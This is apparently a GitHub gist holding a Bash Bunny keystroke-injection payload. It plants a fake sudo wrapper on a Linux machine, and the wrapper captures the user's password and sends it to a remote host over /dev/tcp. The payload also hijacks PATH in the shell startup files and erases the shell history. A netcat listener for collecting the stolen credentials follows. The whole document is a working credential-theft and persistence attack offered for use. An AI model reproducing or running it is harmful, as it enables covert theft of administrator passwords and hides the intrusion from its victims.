Skip to content

Instantly share code, notes, and snippets.

@JonnyBanana
Created April 18, 2018 01:58
Show Gist options
  • Save JonnyBanana/db7e502f9a889fd45a2db2ac0bfba12c to your computer and use it in GitHub Desktop.
Save JonnyBanana/db7e502f9a889fd45a2db2ac0bfba12c to your computer and use it in GitHub Desktop.
REMPayload originally designed by oXis for Bash Bunny.
REM Bash Bunny Payload page:
REM https://github.com/hak5/bashbunny-payloads/tree/master/payloads/library/credentials/SudoBackdoor
REM Change example.com to your own domain or listening IP address and 1337 to your own port of choice.
DELAY 2000
GUI space
DELAY 500
ALT F2
DELAY 500
BACKSPACE
DELAY 100
STRING terminal
ENTER
DELAY 3000
STRING mkdir -p ~/.config/sudo
ENTER
DELAY 100
STRING rm ~/.config/sudo/sudo
ENTER
DELAY 100
STRING echo '#!/bin/bash
ENTER
STRING /usr/bin/sudo -n true 2>/dev/null
ENTER
STRING if [ $? -eq 0 ]
ENTER
STRING then
ENTER
STRING /usr/bin/sudo $@
ENTER
STRING else
ENTER
STRING echo -n "[sudo] password for $USER: "
ENTER
STRING read -s pwd
ENTER
STRING echo
ENTER
STRING echo "$pwd" | /usr/bin/sudo -S true 2>/dev/null
ENTER
STRING if [ $? -eq 1 ]
ENTER
STRING then
ENTER
STRING echo "$USER:$pwd:invalid" > /dev/tcp/example.com/1337
ENTER
STRING echo "Sorry, try again."
ENTER
STRING sudo $@
ENTER
STRING else
ENTER
STRING echo "$USER:$pwd:valid" > /dev/tcp/example.com/1337
ENTER
STRING echo "$pwd" | /usr/bin/sudo -S $@
ENTER
STRING fi
ENTER
STRING fi' > ~/.config/sudo/sudo
ENTER
DELAY 600
STRING chmod u+x ~/.config/sudo/sudo
ENTER
DELAY 800
STRING echo "export PATH=~/.config/sudo:$PATH" >> ~/.bash_profile
ENTER
DELAY 500
STRING echo "export PATH=~/.config/sudo:$PATH" >> ~/.bashrc
ENTER
DELAY 500
STRING history -c && rm .bash_history && exit
ENTER
DELAY 1000
GUI q
Use this bash script to listen on your server:
#!/bin/bash
while [ true ]
do
netcat -vv -lp 1337 >> passwd.txt
done
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment